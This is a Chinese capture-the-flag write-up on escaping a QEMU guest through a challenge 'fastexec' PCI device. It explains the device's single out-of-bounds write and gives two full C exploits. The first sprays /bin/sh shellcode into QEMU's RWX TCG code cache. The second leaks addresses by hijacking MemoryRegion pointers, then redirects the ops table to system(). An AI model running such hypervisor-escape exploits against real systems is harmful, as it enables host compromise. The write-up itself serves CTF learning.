绿
缺个库
sudo apt-get install libjpeg62
分析一下qemu文件
拿到id
注册了个mmio
可以看一下结构体
fastexec_mmio_read
逻辑非常简单
就是将四个成员依次输出
fastexec_mmio_write
有一次任意写机会。
怎么攻击呢?首先看了官方给的思路
用到了TCG模块攻击
什么是TCG模块?
我们一张图就明白了
图是网上找的
从QEMU-0.10.0开始,TCG成为QEMU新的翻译引擎,使QEMU不再依赖于GCC3.X版本,并且做到了“真正”的动态翻译(从某种意义上说,旧版本是从编译后的目标文件中复制二进制指令)。TCG的全称为“Tiny Code Generator”,QEMU的作者Fabrice Bellard在TCG的说明文件中写到,TCG起源于一个C编译器后端,后来被简化为QEMU的动态代码生成器(Fabrice Bellard以前还写过一个很牛的编译器TinyCC)。实际上TCG的作用也和一个真正的编译器后端一样,主要负责分析、优化Target代码以及生成Host代码。
Target指令 ----> TCG ----> Host指令
运用的基本原理呢就是
Qemu会在内存中mmap一块内存作为TCG模块的代码缓冲区,这块内存是RWX的
对于已经翻译的代码块,如果其未修改,Qemu会将其放置在该区域并缓存
所以我们可以对该区域写入shellcode,会在Qemu调用这块缓存代码时触发shellcode执行
两个id
拿到mmio
第一种思路
第一种思路说起来很简单,就是我们既然能越界,我们就直接越界写TCG模块,写上shellcode即可
上面这个是结构体在下面的情况,我们只需要爆破到结构体在上面就可以了
但是不推荐这样做,爆破量很大,很麻烦,我们也不能直接根据每次的情况在qemu里改代码。虽然原理很简单,但是感觉比较难实现,学学思想算了
exp
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
//cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource0
uint32_t mmio_addr = 0xfea00000;
uint32_t mmio_size = 0x100000;
uint64_t phy_userbuf;
unsigned char* userbuf;
unsigned char* mmio_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void* mem_map( const char* dev, size_t offset, size_t size )
{
int fd = open( dev, O_RDWR | O_SYNC );
if ( fd == -1 ) {
return 0;
}
void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );
if ( !result ) {
return 0;
}
close( fd );
return result;
}
void mmio_write(uint64_t addr, uint64_t value)
{
*( (uint64_t *) (mmio_mem+addr) ) = value;
}
//
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT) //4096
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
die("open pagemap");
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
/
void write_size(uint64_t val) {
mmio_write(0x10, val);
}
void write_offset(uint64_t val) {
mmio_write(8, val);
}
void write_paddr(uint64_t val) {
mmio_write(0x16, val);
}
void only_write() {
mmio_write(0x20, 0xF62D);
}
int main(int argc, char const *argv[])
{
system( "mknod -m 660 /dev/mem c 1 1" );
mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
if ( !mmio_mem ) {
die("mmap mmio failed");
}
userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (userbuf == MAP_FAILED) {
die("mmap userbuf failed");
}
mlock(userbuf, 0x1000);
phy_userbuf = gva_to_gpa(userbuf);
printf("userbuf va: 0x%llx\n", userbuf);
printf("userbuf pa: 0x%llx\n", phy_userbuf);
unsigned char * nop = malloc(0x1000);
unsigned char *shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05";
memset(nop,'\x90',0xFEA);
for(int i = 0; i<255*20 ; i++)
{
memcpy(userbuf+i*0x1000,nop,0xe30);
memcpy(userbuf+0xFEA+i*0x1000,shellcode,22);
}
getchar();
write_offset(0x1000);
write_size(0x100000000);
write_paddr(phy_userbuf);
only_write();
return 0;
}
第二种方法是星盟大佬提出来的
首先要熟悉我们的结构体
fastexec结构体里面有个MemoryRegion结构体
这个结构体长啥样
里面有一些很关键的指针
因为我们知道qemu管理内存的基本结构就是MemoryRegion
这个结构体中的opaque会记录现在结构的位置
所以我们如果上溢劫持opaque指针,就可以劫持整个结构体
所以我们的第一步就是劫持这个结构体
劫持到哪呢?
劫持到execed是0的地方
此时周围肯定有指针,就能做到既能泄露地址,又可以下次任意写
看一下结构体
实际发现呢我们必须让结构体往上走,因为那样会有好的指针给我们泄露
但是文艺就是我们需要爆破四个比特,因为我现在的截图地址后两个字节是2010 但是也可能是1010等等。
可以看到已经改了
下一步操作要干嘛
这个结构体里面的ops其实指向的是个虚表
所以如果我们把它劫持掉
虚表里面写上system
然后opaque给个paylaod地址
就可以了。
exp
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
//cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource0
uint32_t mmio_addr = 0xfea00000;
uint32_t mmio_size = 0x100000;
uint64_t phy_userbuf;
unsigned char* userbuf;
unsigned char* mmio_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void* mem_map( const char* dev, size_t offset, size_t size )
{
int fd = open( dev, O_RDWR | O_SYNC );
if ( fd == -1 ) {
return 0;
}
void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );
if ( !result ) {
return 0;
}
close( fd );
return result;
}
uint64_t mmio_read(uint64_t addr)
{
return *((uint8_t*) (mmio_mem+addr));
}
void mmio_write(uint64_t addr, uint64_t value)
{
*( (uint64_t *) (mmio_mem+addr) ) = value;
}
//
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT) //4096
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
die("open pagemap");
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
/
uint64_t read_execed() {
return mmio_read(0);
}
uint64_t read_offset() {
return mmio_read(8);
}
uint64_t read_size() {
return mmio_read(0x10);
}
uint64_t read_paddr() {
return mmio_read(0x18);
}
void write_size(uint64_t val) {
mmio_write(0x10, val);
}
void write_offset(uint64_t val) {
mmio_write(8, val);
}
void write_paddr(uint64_t val) {
mmio_write(0x18, val);
}
void only_write() {
mmio_write(0x20, 0xF62D);
}
int main(int argc, char const *argv[])
{
system( "mknod -m 660 /dev/mem c 1 1" );
mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
if ( !mmio_mem ) {
die("mmap mmio failed");
}
userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (userbuf == MAP_FAILED) {
die("mmap userbuf failed");
}
mlock(userbuf, 0x1000);
phy_userbuf = gva_to_gpa(userbuf);
printf("userbuf va: 0x%llx\n", userbuf);
printf("userbuf pa: 0x%llx\n", phy_userbuf);
//0x2010 - 0xb8 = 0x1f58
userbuf[0] = '\x58';
userbuf[1] = '\x1f';
write_offset(-0xc0);
write_paddr(phy_userbuf);
write_size(2);
only_write();
size_t elf_base = read_size() - 0xd62d20;
size_t struct_addr = read_offset();
size_t system_addr = elf_base + 0x2C2180;
printf("elf_base=0x%lx\n",elf_base);
printf("struct_addr=0x%lx\n",elf_base);
printf("system_addr=0x%lx\n",system_addr);
//getchar();
(uint64_t)userbuf[0] = struct_addr + 0x948;
(uint64_t)userbuf[1] = struct_addr + 0x950;
(uint64_t)userbuf[2] = system_addr;
(char *)(userbuf + 0x18) = "cat /flag\x00";
write_offset(-0x18);
write_paddr(phy_userbuf);
write_size(0x22);
only_write();
read_execed();
return 0;
}